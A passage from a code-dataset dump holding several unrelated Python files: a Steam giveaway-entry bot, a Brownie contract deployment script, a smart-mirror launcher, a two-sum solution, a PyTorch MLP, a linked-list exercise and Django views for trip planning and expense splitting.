parsed_entry['time_limit_index'] == 1:\n TempVars.parsed_min.append(parsed_entry)\n elif parsed_entry['time_limit_index'] == 2:\n TempVars.parsed_hour.append(parsed_entry)\n elif parsed_entry['time_limit_index'] == 3:\n TempVars.parsed_day1.append(parsed_entry)\n elif parsed_entry['time_limit_index'] == 4:\n TempVars.parsed_day2.append(parsed_entry)\n elif parsed_entry['time_limit_index'] == 5:\n TempVars.parsed_day3to6.append(parsed_entry)\n else:\n TempVars.parsed_week1more.append(parsed_entry)\n\n\ndef enter_giveaways(parsed_entries):\n \"\"\"\n Function to enter sorted entries based on points and priority.\n \"\"\"\n\n # Parsed entries analysis\n print(\"\\nScope:\", TempVars.parsed_scope_text)\n for item in parsed_entries:\n if (item['is_wishlist'] == \"+\" and item['time_limit_index'] <= AdjustVars.wishlist_scope_config\n and (item['time_limit_index'] >= 3\n or (item['time_limit_index'] == 1 and item['min_sorting'] <= ConfigVars.wishlist_minutes_config)\n or (item['time_limit_index'] == 2 and item['hour_sorting'] <= ConfigVars.wishlist_hours_config)\n )\n and (ConfigVars.wishlist_entries_limit is False\n or (ConfigVars.wishlist_entries_limit is True\n and (item['chance_to_win'] >= round(100 / ConfigVars.wishlist_chance_5, 2)\n or (item['chance_to_win'] >= round(100 / ConfigVars.wishlist_chance_1, 2)\n and item['points_to_enter'] <= 5)\n or (item['chance_to_win'] >= round(100 / ConfigVars.wishlist_chance_2, 2)\n and item['points_to_enter'] <= 10)\n or (item['chance_to_win'] >= round(100 / ConfigVars.wishlist_chance_3, 2)\n and item['points_to_enter'] <= 30)\n or (item['chance_to_win'] >= round(100 / ConfigVars.wishlist_chance_4, 2)\n and item['points_to_enter'] <= 60)\n )\n )\n )\n ) or (item['is_wishlist'] == \"-\" and item['time_limit_index'] <= ConfigVars.other_ga_scope_config\n and (item['time_limit_index'] >= 3\n or (item['time_limit_index'] == 1 and item['min_sorting'] <= ConfigVars.other_min)\n or (item['time_limit_index'] == 2 and item['hour_sorting'] <= ConfigVars.other_ga_hours_config)\n )\n and (item['chance_to_win'] >= round(100 / AdjustVars.chance_3, 2)\n or (item['chance_to_win'] >= round(100 / AdjustVars.chance_1 * ConfigVars.ratio1_config, 2)\n and item['points_to_enter'] <= 2)\n or (item['chance_to_win'] >= round(100 / AdjustVars.chance_1 * ConfigVars.ratio2_config, 2)\n and item['points_to_enter'] <= 5)\n or (item['chance_to_win'] >= round(100 / AdjustVars.chance_1, 2)\n and item['points_to_enter'] <= 9)\n or (item['chance_to_win'] >= round(100 / AdjustVars.chance_2 * ConfigVars.ratio1_config, 2)\n and item['points_to_enter'] <= 14)\n or (item['chance_to_win'] >= round(100 / AdjustVars.chance_2 * ConfigVars.ratio2_config, 2)\n and item['points_to_enter'] <= 20)\n or (item['chance_to_win'] >= round(100 / AdjustVars.chance_2, 2)\n and item['points_to_enter'] <= 30)\n or (item['chance_to_win'] >= round(100 / AdjustVars.chance_3 * AdjustVars.limited_ratio1, 2)\n and item['points_to_enter'] <= 40)\n or (item['chance_to_win'] >= round(100 / AdjustVars.chance_3 * AdjustVars.limited_ratio2, 2)\n and item['points_to_enter'] <= 60)\n )\n ):\n points = item['points_to_enter']\n\n # Enter giveaway\n if points <= TempVars.my_points and TempVars.priority_skipped is False:\n call(Browser.open_page, item['url'])\n\n # Get Steam Group description\n if ConfigVars.steam_groups_detect:\n try:\n description_text = Browser.find_text(\"page__description__display-state\")\n except exceptions.NoSuchElementException:\n pass\n else:\n if \"group\" in description_text:\n if ConfigVars.entered_groups_list:\n for i in ConfigVars.entered_groups_list:\n if i in description_text:\n TempVars.entered_group = True\n break\n if TempVars.entered_group is False:\n TempVars.steam_groups_ga.append(item)\n\n # Click \"Enter Giveaway\" button\n Browser.click_button(\"sidebar__entry-insert\", item['url'])\n try:\n TempVars.my_points = int(Browser.find_text(\"nav__points\"))\n except exceptions.NoSuchElementException:\n pass\n print('\\n#-- New GA entered (WL? ' + item['is_wishlist'] + '): ' + item['title'] +\n '\" (' + str(item['chance_to_win']) + \"%) - [\" + str(item['remaining_time']) +\n \" left /\", item['points_to_enter'], \"point(s) /\", item['copies_number'], \"copy(s)]\")\n TempVars.entered_ga.append(item)\n\n # Skip giveaway\n else:\n print('\\n!!-- Skipped GA (WL? ' + item['is_wishlist'] + '): ' + item['title'] + '\" (' +\n str(item['chance_to_win']) + \"%) - [\" + str(item['remaining_time']) + \" left /\",\n item['points_to_enter'], \"point(s) /\", item['copies_number'], \"copy(s)]\\n!!-- Only\",\n TempVars.my_points, \"point(s) left\")\n\n # Append GA to warning list\n if item['time_limit_index'] <= 1 and item['min_sorting'] <= 20 and \\\n (item['chance_to_win'] >= 1 or item['is_wishlist'] == \"+\"):\n TempVars.warning_ga.append(item)\n\n # Do not enter GAs with lower priority\n if TempVars.skipped_index is False:\n TempVars.skipped_index = item['time_limit_index']\n else:\n if item['time_limit_index'] > TempVars.skipped_index:\n TempVars.priority_skipped = True\n\n # Sort warning list\n TempVars.warning_ga.sort(key=lambda warn_ga: (-warn_ga['chance_to_win'], warn_ga['min_sorting']))\n\n\ndef exit_ga(exit_from):\n entered_link = sg_link + exit_from.find('a').get('href')\n call(Browser.open_page, entered_link)\n TempVars.my_points = int(Browser.click_button(\"sidebar__entry-delete\", entered_link))\n","sub_path":"sg_parser.py","file_name":"sg_parser.py","file_ext":"py","file_size_in_byte":13066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"183358892","text":"#!/usr/bin/python3\n\nfrom brownie import *\nfrom scripts.deploy_protocol import deployProtocol\nfrom scripts.deploy_loanToken import deployLoanTokens\nfrom scripts.deploy_tokens import deployTokens, readTokens\nfrom scripts.deploy_multisig import deployMultisig\n\nimport shared\nimport json\nfrom munch import Munch\n\n'''\nDeploys all of the contracts.\n1. deploys the tokens or reads exsiting token contracts.\n if configData contains token addresses, use the given addresses\n else, deploy new tokens\n2. deploys the base protocol contracts.\n3. deploys, configures and tests the loan token contracts.\n4. writes the relevant contract addresses into swap_test.json.\n'''\ndef main():\n global configData\n\n #owners = [accounts[0], accounts[1], accounts[2]]\n requiredConf=2\n configData = {} # deploy new tokens\n '''\n configData = {\n 'WRBTC': '0x69FE5cEC81D5eF92600c1A0dB1F11986AB3758Ab',\n 'SUSD': '0xCb46C0DdC60d18eFEB0e586c17AF6Ea36452DaE0',\n 'medianizer': '0x667bd3d048FaEBb85bAa0E9f9D87cF4c8CDFE849'\n }\n '''\n\n thisNetwork = network.show_active()\n\n if thisNetwork == \"development\":\n acct = accounts[0]\n elif thisNetwork == \"testnet\":\n acct = accounts.load(\"rskdeployer\")\n else:\n raise Exception(\"network not supported\")\n \n if('WRBTC' in configData and 'SUSD' in configData):\n tokens = readTokens(acct, configData['WRBTC'], configData['SUSD'])\n elif('SUSD' in configData):\n tokens = deployWRBTC(acct, configData['SUSD'])\n else:\n tokens = deployTokens(acct)\n \n if(not 'medianizer' in configData):\n medianizer = deployMoCMockup(acct)\n configData['medianizer'] = medianizer.address\n \n sovryn = deployProtocol(acct, tokens, configData['medianizer'])\n (loanTokenSUSD, loanTokenWRBTC, loanTokenSettingsSUSD,\n loanTokenSettingsWRBTC) = deployLoanTokens(acct, sovryn, tokens)\n\n #deployMultisig(sovryn, acct, owners, requiredConf)\n \n configData[\"sovrynProtocol\"] = sovryn.address\n configData[\"WRBTC\"] = tokens.wrbtc.address\n configData[\"SUSD\"] = tokens.susd.address\n configData[\"loanTokenSettingsSUSD\"] = loanTokenSettingsSUSD.address\n configData[\"loanTokenSUSD\"] = loanTokenSUSD.address\n configData[\"loanTokenSettingsWRBTC\"] = loanTokenSettingsWRBTC.address\n configData[\"loanTokenRBTC\"] = loanTokenWRBTC.address\n\n with open('./scripts/swap_test.json', 'w') as configFile:\n json.dump(configData, configFile)\n\ndef deployMoCMockup(acct):\n priceFeedMockup = acct.deploy(PriceFeedsMoCMockup)\n priceFeedMockup.setHas(True)\n priceFeedMockup.setValue(11653e18)\n return priceFeedMockup","sub_path":"scripts/deploy_everything.py","file_name":"deploy_everything.py","file_ext":"py","file_size_in_byte":2657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"548486093","text":"from Core.HtmlBuilder import HtmlBuilder\nfrom Core.ModuleManager import ModuleDataManager, ModulePositionManager\nfrom Core.Websockets import WebSocketServer, MirrorConnectionHandler\nfrom Core.Webserver import Webserver\nfrom Core.InputHandler import InputHandler\n\nfrom Modules import News, Weather, Calendar, SensorInfo\n\nimport os\nimport sys\nimport json\nimport threading\nimport subprocess\n\nimport time\n\n__PLATFORM = sys.platform\n\n\ndef main():\n mirrorConfig = ReadConfig()\n if mirrorConfig is None:\n print(\"[!] Unable to read the configuration file!\")\n return\n\n pageBuilder = HtmlBuilder()\n # All the pages we're going to use\n pages = []\n try:\n pages = [\n SensorInfo.SensorModule(mirrorConfig, pageBuilder),\n Weather.WeatherModule(mirrorConfig, pageBuilder),\n Calendar.CalendarModule(pageBuilder),\n News.NewsModule(mirrorConfig, pageBuilder)\n ]\n except Exception as e:\n print(\"Unable to setup the modules properly. Error:\")\n print(e)\n return\n\n wsServer = StartWebsocketServer(mirrorConfig)\n if wsServer == None:\n print(\"[!] Unable to start the websocket server! \")\n return\n\n if StartWebserver(mirrorConfig) == False:\n print(\"[!] Unable to start the webserver! \")\n return\n\n module_position_manager = ModulePositionManager(pages)\n module_data_manager = ModuleDataManager(module_position_manager)\n\n while wsServer.IsRunning() is not True:\n time.sleep(1)\n\n connection_handler = MirrorConnectionHandler(wsServer)\n user_input_handler = InputHandler(\n module_position_manager, module_data_manager, connection_handler)\n\n # Uses keyboard & mouse on windows and gesture input on linux\n input_thread = threading.Thread(\n target=user_input_handler.GetUserInput, daemon=True)\n input_thread.start()\n\n data_update_interval = mirrorConfig[\"mirror\"][\"data_update_interval\"]\n page_refresh_interval = mirrorConfig[\"mirror\"][\"mirror_refresh_interval\"]\n notification_refresh_interval = mirrorConfig[\"mirror\"][\"notification_refresh_interval\"]\n\n # Thread to update the module data\n data_update_thread = threading.Thread(\n target=module_data_manager.StartUpdatingMirrorData, daemon=True, args=[data_update_interval])\n data_update_thread.start()\n\n # Thread to keep refreshing the mirror page every few seconds\n mirror_refresh_thread = threading.Thread(target=RefreshMirror, args=[\n connection_handler, module_data_manager, page_refresh_interval])\n mirror_refresh_thread.daemon = True\n mirror_refresh_thread.start()\n\n # Thread to refresh the mirror's notifications every few seconds\n notification_refresh_thread = threading.Thread(\n target=RefreshNotifications, args=[\n connection_handler, module_data_manager, page_refresh_interval])\n notification_refresh_thread.daemon = True\n notification_refresh_thread.start()\n\n mirror_url = \"http://\" + \\\n mirrorConfig[\"webserver\"][\"ip\"] + \":\" + \\\n str(mirrorConfig[\"webserver\"][\"port\"]) + \"/mirror\"\n\n print(mirror_url)\n StartElectronApplication(mirror_url)\n while 1:\n time.sleep(1)\n \ndef StartElectronApplication(mirror_url):\n currentDirectory = os.getcwd()\n print(currentDirectory)\n os.system(\"npm run start \"+mirror_url+\" --prefix \" + currentDirectory )\n\n\ndef RefreshNotifications(mirror_connection, mirror_data, refresh_interval):\n while 1:\n mirror_notifications = mirror_data.GetModuleNotifications()\n mirror_connection.SendMirrorNotifications(mirror_notifications)\n time.sleep(refresh_interval)\n\n\ndef RefreshMirror(mirror_connection, mirror_data, refresh_interval):\n while 1:\n data = mirror_data.GetModuleData()\n mirror_connection.SendMirrorPage(data)\n\n time.sleep(refresh_interval)\n\n\ndef StartWebsocketServer(mirrorConfig):\n \"\"\"[Starts the websocket server]\n\n Arguments:\n\n mirrorConfig {[dict]} -- [Configuration read by ReadConfig()]\n\n Returns:\n\n [WebsocketServer] -- [Returns a websocket server instance if the server was succesfully started, else it returns none]\n \"\"\"\n serverIp = None\n serverPort = None\n\n try:\n serverIp = mirrorConfig[\"websockets\"][\"ip\"]\n serverPort = mirrorConfig[\"websockets\"][\"port\"]\n except:\n return None\n\n wsServer = WebSocketServer(serverIp, serverPort)\n websocketThread = threading.Thread(target=wsServer.StartServer)\n websocketThread.daemon = True\n\n try:\n websocketThread.start()\n return wsServer\n except:\n return None\n\n\ndef StartWebserver(mirrorConfig):\n \"\"\"[Starts the flask webserver in a seperate thread]\n\n Arguments:\n\n mirrorConfig {[dict]} -- [Configuration read by ReadConfig()]\n\n Returns:\n\n [bool] -- [True if succesfully started]\n \"\"\"\n serverIp = mirrorConfig[\"webserver\"][\"ip\"]\n serverPort = mirrorConfig[\"webserver\"][\"port\"]\n wServer = Webserver(serverIp, serverPort)\n websocketThread = threading.Thread(target=wServer.StartServer)\n websocketThread.daemon = True\n try:\n websocketThread.start()\n return True\n except:\n return False\n\ndef ReadConfig(path=\"./config.json\"):\n \"\"\"Reads the configuration for the mirror\n\n Keyword Arguments:\n path {str} -- [path to the config file] (default: {\"./config.json\"})\n\n Returns:\n\n dict -- Configuration in JSON format\n\n \"\"\"\n dir_path = \"\"\n if __PLATFORM == \"win32\":\n dir_path = os.path.dirname(\n os.path.realpath(__file__)) + r\"\\config.json\"\n elif __PLATFORM == \"linux\":\n dir_path = os.path.dirname(os.path.realpath(__file__)) + \"/config.json\"\n\n if(not os.path.exists(dir_path)):\n return None\n with open(dir_path, 'r') as jsonFile:\n configData = json.load(jsonFile)\n return configData\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"mirror.py","file_name":"mirror.py","file_ext":"py","file_size_in_byte":5932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"320797806","text":"# Given an array of integers, return indices of the two numbers such that they add up to a specific target.\n\n# You may assume that each input would have exactly one solution, and you may not use the same element twice.\n\n# Example:\n# Given nums = [2, 7, 11, 15], target = 9,\n\n# Because nums[0] + nums[1] = 2 + 7 = 9,\n# return [0, 1].\n\n\nclass Solution:\n def two_sum(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: List[int]\n \"\"\"\n buffer_dic = {}\n for i,num in enumerate(nums):\n if target - num in buffer_dic:\n return [buffer_dic[target - num], i]\n buffer_dic[num] = i\n return []\n\n def two_sum_2(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: List[int]\n \"\"\"\n for i,num in enumerate(nums):\n j = target - num\n if j in nums[i+1:]:\n return [i, nums.index(j)]\n return []\n\nif __name__ == '__main__':\n result = Solution().two_sum_2([1,3,9,7],8)\n print(result)","sub_path":"Python/001_two_sum.py","file_name":"001_two_sum.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"353954468","text":"import torch\nfrom torch import nn\nfrom torch import optim\nfrom torch.utils.data import DataLoader\nfrom torch.utils.data import Dataset\n\n\nclass GetMB(Dataset):\n\n def __init__(self, X, y):\n super(GetMB, self).__init__()\n\n self.X = X\n self.y = y\n\n def __getitem__(self, i):\n return self.X[i], self.y[i]\n\n def __len__(self):\n return len(self.y)\n\n\nclass MLP_NEW(nn.Module):\n\n def __init__(self, inp_dim, hidden_dim, out_dim, lmb=0, alpha=0, batch_size=100, n_epochs=100):\n\n super(MLP_NEW, self).__init__()\n\n self.inp_dim = inp_dim\n self.hidden_dim = hidden_dim\n self.out_dim = out_dim\n\n self.net = nn.Sequential(\n nn.Linear(self.inp_dim, self.hidden_dim),\n nn.ReLU(True),\n nn.Linear(self.hidden_dim, out_dim)\n )\n\n self.lmb = lmb\n self.alpha = alpha\n self.batch_size = batch_size\n self.n_epochs = n_epochs\n\n def check_input(self, X, y):\n\n X = X.astype('float32')\n y = y.astype('float32')\n\n if y.ndim == 1:\n y = y.reshape(-1, 1)\n\n return X, y\n\n def forward(self, x):\n\n out = self.net(x)\n\n y_pred = out[:, 0:1]\n p = nn.Sigmoid()(out[:, 1:2])\n\n return y_pred, p\n\n def loss(self, y_pred, y_true, p, alpha=0):\n\n loss = p * (y_pred - y_true) ** 2 + alpha * (1 - p)\n\n return sum(loss) / len(loss)\n\n def get_mimi_bathes(self, X, y):\n\n X_data = GetMB(X, y)\n mb = DataLoader(X_data, batch_size=self.batch_size, shuffle=True)\n\n return mb\n\n def fit(self, X, y):\n\n X, y = self.check_input(X, y)\n\n optimizer = optim.Adam(self.parameters(), weight_decay=self.lmb)\n\n for epoch in range(self.n_epochs):\n\n mb = self.get_mimi_bathes(X, y)\n\n for X_mb, y_mb in mb:\n y_out, p_out = self.forward(X_mb)\n\n loss = self.loss(y_out, y_mb, p_out, alpha=self.alpha)\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n def predict(self, X):\n\n X = torch.from_numpy(X.astype('float32'))\n\n y_out, p = self.forward(X)\n\n return y_out.detach().numpy().ravel()\n\n def predict_proba(self, X):\n\n X = torch.from_numpy(X.astype('float32'))\n\n y_out, p_out = self.forward(X)\n\n return p_out.detach().numpy().ravel()\n","sub_path":"CIMfor/NLP.py","file_name":"NLP.py","file_ext":"py","file_size_in_byte":2406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"641091374","text":"import math as m\n\nclass Node:\n def __init__(self, value=None):\n self.value = value\n self.next = None\n\nclass linkedList:\n first = None\n last = None\n count=0\n\n def isEmpty(self):\n return self.first == None\n\n def print(self):\n current = self.first\n while(current != None):\n print(current.value)\n current = current.next\n\n def addLast(self, value):\n node = Node(value)\n if(self.isEmpty()):\n self.first = node\n self.last = node\n else:\n self.last.next = node\n self.last = node\n self.count+=1\n \n def addFirst(self, value):\n node = Node(value)\n if(self.isEmpty()):\n self.first = node\n self.last = node\n else:\n node.next = self.first\n self.first = node\n self.count+=1\n \n def indexOf(self, value):\n current = self.first\n i=0\n while(current != None):\n if(current.value == value):\n return i-1\n current = current.next\n i+=1\n return -1\n\n def contains(self, value):\n return self.indexOf(value) != -1\n\n def removeFirst(self):\n if(self.isEmpty()):\n print(\"Linked list empty\")\n elif(self.first == self.last):\n self.first = None\n self.last = None\n else:\n current = self.first\n self.first = self.first.next\n current.next = None\n self.count-=1\n\n def removeLast(self):\n if(self.isEmpty()):\n print(\"Linked list empty\")\n elif(self.first == self.last):\n self.first = None\n self.last = None\n else:\n current = self.first\n while(current != None):\n if(current.next == self.last):\n self.last = current.next\n current.next = None\n current = current.next\n self.count-=1\n\n def removeAt(self, k):\n if(self.count == 0):\n print(\"Empty\")\n return\n\n if(self.count == 1):\n self.first = self.last = None\n self.count-=1\n return\n\n if(self.count == 2):\n self.last = self.first\n self.count-=1\n return\n\n first = self.first\n second = first.next\n i=1\n while(second != None and i < k-1):\n first = first.next\n second = second.next\n i+=1\n \n first.next = second.next\n second = None\n self.count-=1\n\n def size(self):\n return self.count\n \n def toArray(self):\n if(self.isEmpty()):\n print(\"Linked list empty\")\n current = self.first\n a = []\n while(current != None):\n a.append(current.value)\n current = current.next\n print(a)\n\n def reverse(self):\n prev = self.first\n current = self.first.next\n nxt = current.next\n while(current != None):\n current.next = prev\n if(current != self.last):\n prev = current\n current = nxt\n if(nxt.next != None):\n nxt = nxt.next\n else:\n break\n self.first.next = None\n self.first = self.last\n self.last = current\n\n def middle(self):\n current = self.first\n i=1\n middle = m.ceil(self.count/2)\n while(current != None and i<=middle+1):\n if(middle == i):\n print(current.value)\n if(self.count % 2 ==0 and i == middle+1):\n print(current.value)\n current = current.next\n i+=1\n \n def printk(self, k):\n first = second = self.first\n i=1\n while(second != None and i < k):\n second = second.next\n i+=1\n while(second.next != None):\n first = first.next\n second = second.next\n print(first.value)\n\n def findLoop(self):\n stepOne = stepTwo = self.first\n while(stepTwo != None):\n stepOne = stepOne.next\n stepTwo = stepTwo.next.next\n if(stepOne == stepTwo):\n return 1\n return -1\n\ndef createLoop():\n lk = linkedList()\n lk.addLast(10)\n lk.addLast(20)\n lk.addLast(30)\n ref = lk.last\n lk.addLast(40)\n lk.addLast(50)\n lk.last.next = ref\n\n return lk\n\n# CREATE NEW\nlk1 = linkedList()\n\n# ADD LAST\nlk1.addLast(10)\nlk1.addLast(20)\nlk1.addLast(30)\nlk1.addLast(40)\nlk1.addLast(50)\nlk1.addLast(60)\n\n# ADD FIRST\n# lk1.addFirst(40)\n\n# INDEX OF\n# print(lk1.indexOf(20))\n\n# CONTAINS\n# print(lk1.contains(20))\n\n# REMOVE FIRST\n# lk1.removeFirst()\n\n# REMOVE FIRST\n# lk1.removeLast()\n\n# REMOVE AT\n# lk1.removeAt(3)\n\n# PRINT\n# lk1.print()\n\n# SIZE\n# print(lk1.size())\n\n# TO ARRAY\n# lk1.toArray()\n\n# REVERSE\n# lk1.reverse()\n\n# MIDDLE\n# lk1.middle()\n\n# PRINT Kth NODE\n# lk1.printk(4)\n\n# CREATE A LINKED LIST WITH LOOP(TESTING ONLY)\n# createLoop()\n\n# FIND IF THERE IS A LOOP\n# lk = createLoop()\n# print(lk.findLoop())","sub_path":"hashmap/resources/linkedList.py","file_name":"linkedList.py","file_ext":"py","file_size_in_byte":5146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"73844361","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.shortcuts import render, redirect\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponseRedirect, JsonResponse\nfrom django.core import serializers\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.contrib import messages\nfrom django.urls import reverse\n\nfrom social_django.models import UserSocialAuth\n\nfrom .models import Trip, Segment, Traveler\nfrom . import gateway\nfrom .decorators import check_trip_access\nfrom .utils import process_charge, trip_hash\n\nfrom lxml import objectify\nfrom urllib import urlencode\nfrom decouple import config\n\nimport requests, time, json, re\n\n# Create your views here.\n\ndef index(request):\n user = request.user\n private_trips = []\n if user and not user.is_anonymous():\n try:\n private_trips = (user.traveler.trip_set.all() | user.trip_set.all()).distinct().order_by('trip_start')\n except ObjectDoesNotExist:\n pass\n\n public_trips = Trip.objects.filter(is_private = False).order_by('trip_start')\n\n context = {\n 'private_trips': private_trips,\n 'public_trips' : public_trips,\n }\n\n return render(request, 'splitter/index.html', context)\n\n\ndef gateway_switch(request, action):\n action_dir_trip = {\n 'rtfg': gateway.refresh_trek_from_google,\n 'rafd': gateway.read_albums_from_db,\n 'rpfd': gateway.read_pics_from_db,\n 'etd': gateway.edit_trip_info,\n 'gpio': gateway.get_preview_info_only,\n 'newcharge': gateway.new_charge,\n 'delcharge': gateway.del_charge,\n 'swapcharge': gateway.swap_charge,\n 'sumcharge': gateway.charge_summary,\n 'privcharge': gateway.charge_privacy_toggle,\n 'ec': gateway.edit_currencies,\n }\n action_dir_seg = {\n 'picedits': gateway.pic_edits,\n 'picdel': gateway.pic_delete,\n 'setcover': gateway.set_album_cover,\n }\n action_dir = {\n 'newtrav': gateway.new_traveler,\n }\n if action in action_dir_trip:\n if 'HTTP_REFERER' in request.META:\n p = re.compile(r'(?<=\\/)[0-9]+(?=[\\/#]|$)')\n pk = int(p.search(request.META['HTTP_REFERER']).group())\n return action_dir_trip[action](request, pk)\n else:\n return JsonResponse({'message': 'Went down the wrong rabbit hole.'}, status = 400)\n elif action in action_dir_seg:\n seg_pk = None\n if 'pk[]' in request.POST:\n seg_pk = map(int, request.POST.getlist('pk[]'))\n elif 'pk' in request.POST:\n seg_pk = [request.POST['pk']]\n else:\n return JsonResponse({'message': 'Invalid request. No album identifier supplied.'}, status = 400)\n\n if not seg_pk:\n return JsonResponse({'message': 'Album does not exist.'}, status = 404)\n\n seg = Segment.objects.filter(pk__in = seg_pk)\n pk = seg[0].trip.pk;\n return action_dir_seg[action](request, pk, seg = seg)\n\n elif action in action_dir:\n return action_dir[action](request)\n\n messages.error(request, \"Went down the wrong rabbit hole.\")\n return redirect(\"splitter:index\")\n\n@check_trip_access(False)\ndef trip_overview(request, trip, editable):\n if not editable:\n return redirect('splitter:phototrek', pk = trip.pk)\n\n context = {\n 'trip': trip,\n 'edit_permission': editable,\n }\n return render(request, 'splitter/trip_overview.html', context)\n\n@check_trip_access(True)\ndef trip_edit(request, trip, editable):\n context = {\n 'trip': trip,\n 'edit_permission': editable,\n }\n return render(request, 'splitter/trip_edit.html', context)\n\n# adapted from https://github.com/morganwahl/photos-db/blob/master/photosdb/photosdb/views.py\n@check_trip_access(True)\ndef phototrek_edit(request, trip, editable):\n \"\"\" return all albums \"\"\"\n refresh_buttons = dict()\n try:\n google_social = request.user.social_auth.get(provider='google-oauth2')\n refresh_buttons['google'] = True\n except UserSocialAuth.DoesNotExist:\n refresh_button['google'] = False\n\n if not any(refresh_buttons.values()):\n messages.error(request, \"You do not have linked social accounts.\")\n return redirect(\"splitter:index\")\n\n context = {\n 'trip': trip,\n 'refresh_buttons': refresh_buttons,\n 'edit_permission': editable,\n 'path': request.path,\n }\n\n # determine whether additional Google access is needed\n if refresh_buttons['google']:\n # True indicates that access token has the right scope\n google_photo_scope = 'scope' in google_social.extra_data and \\\n \"https://picasaweb.google.com/data/\" in google_social.extra_data['scope'] and \\\n \"https://photos.googleapis.com/data/\" in google_social.extra_data['scope']\n context.update({'google_photo_scope': google_photo_scope})\n\n return render(request, 'splitter/phototrek_edit.html', context)\n\n@check_trip_access(False)\ndef phototrek(request, trip, editable):\n context = {\n 'trip': trip,\n 'edit_permission': editable,\n }\n return render(request, 'splitter/phototrek_display.html', context)\n\n@login_required\ndef new_trip(request):\n try:\n request.user.traveler\n except ObjectDoesNotExist:\n trav = Traveler(user=request.user, traveler_name = request.user.first_name if request.user.first_name else request.user.username)\n trav.save()\n\n context = {\n 'travelers': Traveler.objects.all()\n }\n return render(request, 'splitter/new_trip.html', context)\n\ndef trip_plan(request):\n return render(request, 'splitter/trip_plan.html', {})\n\n\n# legacy mapbox json calls\n@login_required\ndef outward(request):\n if 'target' not in request.GET:\n return JsonResponse({'message': 'Unknown request.', 'warning_level': 'warning'}, status = 400)\n\n def mapbox_tsp():\n params = ['latlon_string', 'access_token', 'mode']\n if not all([p in request.GET for p in params]):\n return JsonResponse({'message': 'Missing parameters.'}, status = 400)\n url = 'https://api.mapbox.com/optimized-trips/v1/mapbox/' + request.GET['mode'] + '/' + request.GET['latlon_string']\n query = {\n 'access_token': request.GET['access_token'],\n 'geometries': 'geojson',\n 'overview': 'full',\n 'roundtrip': request.GET['roundtrip'] if 'roundtrip' in request.GET else 'true',\n 'source': 'first',\n 'destination': 'last',\n }\n url += '?' + urlencode(query)\n return requests.get(url).json()\n\n def mapbox_dir():\n params = ['latlon_string', 'access_token', 'mode']\n if not all([p in request.GET for p in params]):\n return JsonResponse({'message': 'Missing parameters.'}, status = 400)\n url = 'https://api.mapbox.com/directions/v5/mapbox/' + request.GET['mode'] + '/' + request.GET['latlon_string']\n query = {\n 'access_token': request.GET['access_token'],\n 'geometries': 'geojson',\n }\n url += '?' + urlencode(query)\n return requests.get(url).json()\n\n def mapbox_rgeo():\n params = ['latlon_string', 'access_token']\n if not all([p in request.GET for p in params]):\n return JsonResponse({'message': 'Missing parameters.'}, status = 400)\n url = 'https://api.mapbox.com/geocoding/v5/mapbox.places/' + request.GET['latlon_string'] + '.json'\n query = {\n 'access_token': request.GET['access_token'],\n }\n url += \"?\" + urlencode(query)\n return requests.get(url).json()\n\n outward_action = {\n 'mapbox_tsp': mapbox_tsp,\n 'mapbox_dir': mapbox_dir,\n 'mapbox_rgeo': mapbox_rgeo,\n }\n\n return JsonResponse(outward_action[request.GET['target']]())\n\n\ndef traveler(request, trav):\n try:\n traveler = Traveler.objects.get(traveler_name = trav)\n except ObjectDoesNotExist:\n messages.warning(\"traveler doesn't exist.\")\n return redirect('splitter:index')\n\n user = request.user\n trips = traveler.trip_set.filter(is_private= False)\n if user and not user.is_anonymous():\n trips = (user.traveler.trip_set.all() | user.trip_set.all() & traveler.trip_set.all() | trips).distinct()\n\n if not trips:\n messages.warning(\"No viewable trips available.\")\n return redirect('splitter:index')\n\n context = {\n 'traveler': traveler,\n 'trips': trips,\n }\n\n return render(request, 'splitter/traveler.html', context)\n\n@check_trip_access(True)\ndef charges(request, trip, editable):\n # if there are no records in charges\n # redirect to the page for creating the initial sets of parameters\n if not trip.accounting['currencies']:\n # get list of currencies from openexchangerate\n url = 'https://openexchangerates.org/api/latest.json?app_id=' + config('OXR_API_KEY')\n rates = requests.get(url).json()['rates']\n url = 'https://openexchangerates.org/api/currencies.json'\n currencies = [(abbrev, 1 / float(rates[abbrev]), full_name) for abbrev, full_name in requests.get(url).json().iteritems()]\n context = {\n 'trip': trip,\n 'currencies': currencies,\n }\n return render(request, 'splitter/new_charges.html', context)\n\n # process charges into strings\n travelers = trip.travelers.all().order_by('pk')\n charges = process_charge(trip, travelers, trip.accounting['charges'], trip.accounting['order'])\n context = {\n 'trip': trip,\n 'charges': charges,\n 'travelers': travelers,\n 'currencies': trip.accounting['currencies'],\n 'editable': editable,\n 'share_url': '' if trip.accounting['is_private'] else request.build_absolute_uri(reverse(\"splitter:public_charge_url\", kwargs={'pk':trip.pk, 'hash_val':trip_hash(trip,'charge')})),\n }\n return render(request, 'splitter/trip_charges.html', context)\n\n\ndef published_charges(request, pk, hash_val):\n trip = Trip.objects.get(pk = pk)\n\n editors = set([trav.user for trav in trip.travelers.all() if trav.user])\n if request.user and request.user in editors:\n return redirect('splitter:trip_charges', pk=pk)\n\n if trip.accounting['is_private']:\n messages.info(request, \"This trip's finances are kept private.\")\n return redirect('splitter:trip_overview', pk=trip.pk)\n\n if hash_val == trip_hash(trip, 'charge'):\n # process charges into strings\n travelers = trip.travelers.all().order_by('pk')\n charges = process_charge(trip, travelers, trip.accounting['charges'], trip.accounting['order'])\n context = {\n 'trip': trip,\n 'charges': charges,\n 'travelers': travelers,\n 'currencies': 